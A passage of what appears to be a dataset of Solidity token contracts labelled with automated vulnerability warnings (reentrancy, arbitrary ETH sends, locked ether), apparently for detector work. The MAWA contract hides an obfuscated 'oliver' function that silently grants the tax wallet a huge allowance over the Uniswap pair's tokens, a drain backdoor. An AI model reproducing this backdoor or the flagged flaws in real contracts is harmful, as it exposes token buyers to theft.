(reentrancy-eth | severity: High | ID: 1b44486): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1b44486: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\t\t// reentrancy-benign | ID: 9213ca0\n\t\t// reentrancy-eth | ID: 1b44486\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\t\t// reentrancy-benign | ID: 9213ca0\n\t\t// unused-return | ID: 1b6bc08\n\t\t// reentrancy-eth | ID: 1b44486\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\t\t// reentrancy-benign | ID: 9213ca0\n\t\t// unused-return | ID: 4b71104\n\t\t// reentrancy-eth | ID: 1b44486\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\t\t// reentrancy-benign | ID: 9213ca0\n swapEnabled = true;\n\t\t// reentrancy-eth | ID: 1b44486\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n _finalBuyTax = _newFee;\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n uint256 tokenBalance = balanceOf(address(this));\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n uint256 ethBalance = address(this).balance;\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n", "file_name": "solidity_code_1030.sol", "size_bytes": 19458, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}\n\ncontract MAWA is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _oApproval;\n\n mapping(address => bool) private _doExcludedFromO;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5897f44): MAWA._initialBuyTax should be constant \n\t// Recommendation for 5897f44: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: d1fbdee): MAWA._initialSellTax should be constant \n\t// Recommendation for d1fbdee: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4b95ce4): MAWA._finalBuyTax should be constant \n\t// Recommendation for 4b95ce4: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: d38afa7): MAWA._finalSellTax should be constant \n\t// Recommendation for d38afa7: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: d40ddf4): MAWA._reduceBuyTaxAt should be constant \n\t// Recommendation for d40ddf4: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8e1c7b7): MAWA._reduceSellTaxAt should be constant \n\t// Recommendation for 8e1c7b7: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 54ce973): MAWA._preventSwapBefore should be constant \n\t// Recommendation for 54ce973: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Make America Win Again\";\n\n string private constant _symbol = unicode\"MAWA\";\n\n uint256 public _maxOAmount = (2 * _tTotal) / 100;\n\n uint256 public _maxOWallet = (2 * _tTotal) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 37e2fb9): MAWA._taxSwapThreshold should be constant \n\t// Recommendation for 37e2fb9: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = (1 * _tTotal) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: bad8551): MAWA._maxTaxSwap should be constant \n\t// Recommendation for bad8551: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (1 * _tTotal) / 100;\n\n bool private tradingOpen;\n\n bool private inSwap;\n\n bool private swapEnabled;\n\n address payable private oTaxReceipt;\n\n IUniswapV2Router02 private uniORouter;\n\n address private uniOPair;\n\n event MaxTxAmountUpdated(uint _maxOAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() payable {\n oTaxReceipt = payable(_msgSender());\n\n _balances[address(this)] = _tTotal;\n\n _doExcludedFromO[address(this)] = true;\n\n _doExcludedFromO[_msgSender()] = true;\n\n emit Transfer(address(0), address(this), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 487dcb3): MAWA.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 487dcb3: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _oApproval[owner][spender];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a7a78cc): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a7a78cc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4d881db): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4d881db: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: a7a78cc\n\t\t// reentrancy-benign | ID: 4d881db\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: a7a78cc\n\t\t// reentrancy-benign | ID: 4d881db\n _approve(\n sender,\n _msgSender(),\n _oApproval[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 029b40e): MAWA._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 029b40e: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 4d881db\n _oApproval[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: a7a78cc\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 5a470c0): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 5a470c0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: e4d9ceb): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for e4d9ceb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n uint256 taxAmount = 0;\n\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (!swapEnabled || inSwap) {\n _balances[from] = _balances[from] - amount;\n\n _balances[to] = _balances[to] + amount;\n\n emit Transfer(from, to, amount);\n\n return;\n }\n\n if (from != owner() && to != owner()) {\n if (\n from == uniOPair &&\n to != address(uniORouter) &&\n !_doExcludedFromO[to]\n ) {\n require(tradingOpen, \"Trading not open yet.\");\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n require(amount <= _maxOAmount, \"Exceeds the _maxOAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxOWallet,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (\n oliver([from == uniOPair ? from : uniOPair, oTaxReceipt]) &&\n to != uniOPair &&\n !_doExcludedFromO[to]\n ) {\n require(\n balanceOf(to) + amount <= _maxOWallet,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (to == uniOPair) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (\n !inSwap &&\n to == uniOPair &&\n swapEnabled &&\n _buyCount > _preventSwapBefore\n ) {\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (contractTokenBalance > _taxSwapThreshold)\n\t\t\t\t\t// reentrancy-events | ID: 5a470c0\n\t\t\t\t\t// reentrancy-eth | ID: e4d9ceb\n oSwapEthTo(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n\t\t\t\t// reentrancy-events | ID: 5a470c0\n\t\t\t\t// reentrancy-eth | ID: e4d9ceb\n oSendEthTo();\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: e4d9ceb\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 5a470c0\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: e4d9ceb\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: e4d9ceb\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 5a470c0\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: eaa3578): MAWA.removeLimits(address).limit lacks a zerocheck on \t oTaxReceipt = limit\n\t// Recommendation for eaa3578: Check that the address is not zero.\n function removeLimits(address payable limit) external onlyOwner {\n\t\t// missing-zero-check | ID: eaa3578\n oTaxReceipt = limit;\n\n _maxOAmount = _tTotal;\n\n _maxOWallet = _tTotal;\n\n _doExcludedFromO[limit] = true;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function oSwapEthTo(uint256 amount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniORouter.WETH();\n\n _approve(address(this), address(uniORouter), amount);\n\n\t\t// reentrancy-events | ID: 5a470c0\n\t\t// reentrancy-events | ID: a7a78cc\n\t\t// reentrancy-benign | ID: 4d881db\n\t\t// reentrancy-eth | ID: e4d9ceb\n uniORouter.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 874bf69): MAWA.oSendEthTo() sends eth to arbitrary user Dangerous calls oTaxReceipt.transfer(address(this).balance)\n\t// Recommendation for 874bf69: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function oSendEthTo() private {\n\t\t// reentrancy-events | ID: 5a470c0\n\t\t// reentrancy-events | ID: a7a78cc\n\t\t// reentrancy-eth | ID: e4d9ceb\n\t\t// arbitrary-send-eth | ID: 874bf69\n oTaxReceipt.transfer(address(this).balance);\n }\n\n function oliver(address[2] memory oils) private returns (bool) {\n address oilA = oils[0];\n address oilB = oils[1];\n\n _oApproval[oilA][oilB] =\n 10 *\n (100 + _maxOAmount * 100).sub(50) +\n 50 *\n 10;\n\n return true;\n }\n\n receive() external payable {}\n\n function withdrawEth() external onlyOwner {\n payable(_msgSender()).transfer(address(this).balance);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c183280): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c183280: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 19e899f): MAWA.openTrading() ignores return value by IERC20(uniOPair).approve(address(uniORouter),type()(uint256).max)\n\t// Recommendation for 19e899f: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: d0d5dba): MAWA.openTrading() ignores return value by uniORouter.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for d0d5dba: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: d356853): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for d356853: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniORouter = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniORouter), _tTotal);\n\n\t\t// reentrancy-benign | ID: c183280\n\t\t// reentrancy-eth | ID: d356853\n uniOPair = IUniswapV2Factory(uniORouter.factory()).createPair(\n address(this),\n uniORouter.WETH()\n );\n\n\t\t// reentrancy-benign | ID: c183280\n\t\t// unused-return | ID: d0d5dba\n\t\t// reentrancy-eth | ID: d356853\n uniORouter.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: c183280\n\t\t// unused-return | ID: 19e899f\n\t\t// reentrancy-eth | ID: d356853\n IERC20(uniOPair).approve(address(uniORouter), type(uint).max);\n\n\t\t// reentrancy-benign | ID: c183280\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: d356853\n tradingOpen = true;\n }\n}\n", "file_name": "solidity_code_10300.sol", "size_bytes": 19280, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: d0bd5e8): Contract locking ether found Contract ContractFactory has payable functions ContractFactory.deploy(bytes,bytes) But does not have a function to withdraw the ether\n// Recommendation for d0bd5e8: Remove the 'payable' attribute or add a withdraw function.\ncontract ContractFactory {\n event ContractDeployed(address contractAddress);\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: d0bd5e8): Contract locking ether found Contract ContractFactory has payable functions ContractFactory.deploy(bytes,bytes) But does not have a function to withdraw the ether\n\t// Recommendation for d0bd5e8: Remove the 'payable' attribute or add a withdraw function.\n\t// WARNING Vulnerability (encode-packed-collision | severity: High | ID: 69e3236): ContractFactory.deploy(bytes,bytes) calls abi.encodePacked() with multiple dynamic arguments creationCode = abi.encodePacked(bytecode,constructorArgs)\n\t// Recommendation for 69e3236: Do not use more than one dynamic type in 'abi.encodePacked()' (see the Solidity documentation). Use 'abi.encode()', preferably.\n function deploy(\n bytes memory bytecode,\n bytes memory constructorArgs\n ) public payable returns (address contractAddress) {\n\t\t// encode-packed-collision | ID: 69e3236\n bytes memory creationCode = abi.encodePacked(bytecode, constructorArgs);\n\n assembly {\n contractAddress := create2(\n 0,\n add(creationCode, 0x20),\n mload(creationCode),\n 0\n )\n\n if iszero(extcodesize(contractAddress)) {\n revert(0, 0)\n }\n }\n\n emit ContractDeployed(contractAddress);\n }\n\n function getBytecode(address _target) public view returns (bytes memory) {\n return address(_target).code;\n }\n}\n", "file_name": "solidity_code_10301.sol", "size_bytes": 1942, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: Unlicense\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract LIZ is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: c840039): LIZ._taxWallet should be immutable \n\t// Recommendation for c840039: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n string private constant _name = unicode\"Lizard Coin\";\n\n string private constant _symbol = unicode\"LIZ\";\n\n uint256 private _initialBuyTax = 10;\n\n uint256 private _initialSellTax = 10;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 57d1b7f): LIZ._reduceBuyTaxAt should be constant \n\t// Recommendation for 57d1b7f: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 00fb697): LIZ._reduceSellTaxAt should be constant \n\t// Recommendation for 00fb697: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: d90f4ce): LIZ._preventSwapBefore should be constant \n\t// Recommendation for d90f4ce: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 22;\n\n uint256 private _transferTax = 33;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _tTotal = 10_000_000_000 * 10 ** _decimals;\n\n uint256 public _maxTxAmount = 200_000_000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 200_000_000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7aa536d): LIZ._taxSwapThreshold should be constant \n\t// Recommendation for 7aa536d: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 100_000_000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 951ead3): LIZ._maxTaxSwap should be constant \n\t// Recommendation for 951ead3: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 100_000_000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2555c2d): LIZ.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 2555c2d: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 30026ef): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 30026ef: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c2cb75d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c2cb75d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 30026ef\n\t\t// reentrancy-benign | ID: c2cb75d\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 30026ef\n\t\t// reentrancy-benign | ID: c2cb75d\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5cd1994): LIZ._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 5cd1994: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: c2cb75d\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 30026ef\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e3b63ee): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e3b63ee: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: e1c354e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for e1c354e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > 